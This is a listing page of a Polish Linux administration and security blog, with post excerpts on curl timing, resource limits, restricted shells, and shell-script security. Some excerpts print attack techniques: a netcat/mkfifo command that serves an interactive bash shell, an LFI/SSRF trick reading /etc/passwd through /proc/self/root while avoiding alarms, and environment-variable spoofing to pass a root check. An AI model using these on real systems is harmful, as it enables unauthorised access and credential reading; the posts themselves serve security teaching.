Napisał: Patryk Krawaczyński
10/08/2019 w Administracja, CmdLineFu, Debug
C
url może być pomocnym narzędziem przy debugowaniu. Gdy na rozpoznanie problemu składają się problemy z: siecią, DNS, serwerem lub wydajnością samej webaplikacji – możemy bez wahania po niego sięgnąć. W celu izolacji problemu możemy uruchomić curl’a w następujący sposób:
curl -w "$(date +%FT%T) dns: %{time_namelookup} connect: %{time_connect}\
firstbyte: %{time_starttransfer} total: %{time_total} HTTP: %{http_code}\n"\
-o /dev/null -s "https://apka.dev"
Polecenie takie puszczone w pętli da nam ładny podgląd na każde żądanie HTTP:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
13/07/2019 w Bezpieczeństwo
W
tej części zajmiemy się ścieżkami, do których odwołują się nasze skrypty. Na przykładzie z aktualnie używanego systemu operacyjnego Ubuntu w wersji 18.04.X LTS przeanalizujemy proste błędy, które mogą doprowadzić do innych problemów z działaniem oraz bezpieczeństwem. Pierwszym błędem jest zapisywanie różnych danych do tymczasowych katalogów pod przewidywalnymi nazwami plików. Musimy mieć świadomość, że do tymczasowych katalogów mają dostęp wszyscy użytkownicy systemu – dlatego działanie w ich obrębie musi być bardzo przemyślane w stosunku do danych, jakie chcemy w nich umieszczać (możemy porównać to do tłumu, który patrzy na wszystko, co robimy). Nawet, jeśli chodzi o proste mechanizmy sprawdzające, czy inny proces skrypty już nie jest uruchomiony.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
19/04/2019 w Administracja
W
systemach operacyjnych każdy proces ma określony zestaw zasobów dostępnych w czasie jego życia. W przypadku Linuksa obejmują one takie rzeczy jak: ilość otwartych plików, rozmiar pliku z zrzutem pamięci, liczbę wątków, czy rozmiar stosu. Każdy zasób ma dwie granice: miękką (ang. soft) oraz twardą (ang. hard). Wartość graniczna zasobów może wahać się pomiędzy [miękką, a twardą] granicą. Pierwszą można uznać za wartość domyślną, a drugą za wartość maksymalnego pułapu. Zadaniem jądra jest upewnienie się, że te ograniczenia są egzekwowane.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
26/03/2019 w Pen Test
J
eśli znaleźliśmy podatność LFI lub SSRF i chcemy odczytać plik /etc/passwd
, ale serwer filtruje wszystko, co zaczyna się od /etc
możemy spróbować zrobić to za pomocą wirtualnego systemu plików proc, czyli: /proc/self/root/etc/passwd
(chcąć pominąć filtry, aby nie wyzwolić ustawionych alarmów lepiej unikać frazy /etc/passwd
i wykorzystać np. plik: /proc/self/root/etc/timezone
lub inny). Natomiast, jeśli polecenie jest wykonywane w kontekście powłoki bash możemy wykorzystać obfuskację (ang. obfuscation), czyli zaciemnienie, które i tak zostanie zinterpretowane przez powłokę:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
27/12/2018 w Pen Test
Z
ałóżmy, że uruchomiliśmy już “odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!
Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab
oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:
agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal
Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
23/12/2018 w Bezpieczeństwo
W
ramach “Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
18/09/2018 w Bezpieczeństwo, Pen Test
J
eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted
lub -r
– to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
30/08/2017 w Bezpieczeństwo
W
kolejnej części naszej serii [ 1 ] [ 2 ] [ 3 ] zajmiemy się atakami związanymi z uwierzytelnianiem. Zaczniemy od tezy, że nie należy polegać na skryptach, aby ustalać, czy użytkownik ma lub nie ma uprawnień do danej czynności. Jest to możliwe, jednak istnieją dobre i złe strony takiego rozwiązania. Za przykład posłuży nam skrypt:
#!/bin/bash
if [ $UID = 0 -a $USER = "root" ] ; then
echo "Jesteś administratorem zapraszam do domu."
echo $HOME
fi
Kod ten zawiera trzy błędy bezpieczeństwa i wszystkie są spowodowane używaniem zmiennych. Mimo, że bash chroni przed modyfikacją zmienną $UID
to już $USER
jest niezabezpieczona. No i kto powiedział, że inne powłoki chronią zmienną $UID
?
root@darkstar:/home/agresor# ./test.sh
Jesteś administratorem zapraszam do domu.
/root
root@darkstar:~#
Skrypt działa poprawnie dla konta administratora. Przeprowadźmy teraz atak za pomocą zwykłego użytkownika:
agresor@darkstar:~$ ./test.sh
agresor@darkstar:~$ # Niestety nic z tego, ale...
agresor@darkstar:~$ tcsh
darkstar:~> setenv UID 0
darkstar:~> setenv USER root
darkstar:~> setenv HOME /tmp
darkstar:/home/agresor> /bin/bash test.sh
Jesteś administratorem zapraszam do domu.
/tmp
Jeśli ewentualnie chcemy pozyskać informacje o użytkowniku powinniśmy wykorzystać polecenie id:
# Prawdziwy UID
USRUID="$(/usr/bin/id -u -r)"
# Efektywny UID
USEUID="$(/usr/bin/id -u)"
# Nazwa użytkownika
USNUID="$(/usr/bin/id -u -n)"
Na szczęście powyższy skrypt operował tylko wyświetlaniem komunikatów za pomocą echo
. W połączeniu z innym możliwym atakiem (wstrzykiwania) można te błędy wykorzystać w bardziej zły sposób.
Więcej informacji: TCSH / CSH Shell Set PATH Variable, Shell Script Security
Napisał: Patryk Krawaczyński
29/07/2017 w Bezpieczeństwo
T
rzecia część [ 1 ] [ 2 ] będzie poruszać ataki wstrzykiwania do skryptów powłoki. Te typy ataków występują, gdy użytkownik dostarcza jako argumenty przechowywane w zmiennych skryptu spreparowane polecenia lub wartości zamiast oczekiwanych danych wejściowych. W dodatku użyte zmienne są pozbawione znaków cytowania, które służą do usuwania interpretacji znaków specjalnych przez powłokę. Na przykład:
#!/bin/bash
read LOGIN
read COMMAND
if [ x$LOGIN = xroot ]; then
echo $LOGIN
eval $COMMAND
fi
[ czytaj całość… ]
Napisał: Patryk Krawaczyński
11/06/2017 w Bezpieczeństwo
W
drugiej części naszej serii zajmiemy się atakami na katalogi, które są dostępne do zapisu dla wszystkich użytkowników. Pliki znajdujące się w tych katalogach podatne są na atak polegający na możliwości zastąpienia ich innym, “złośliwym” plikiem, który skrypt zamierza odczytać lub zapisać.
[ czytaj całość… ]
Ostatni komentarz :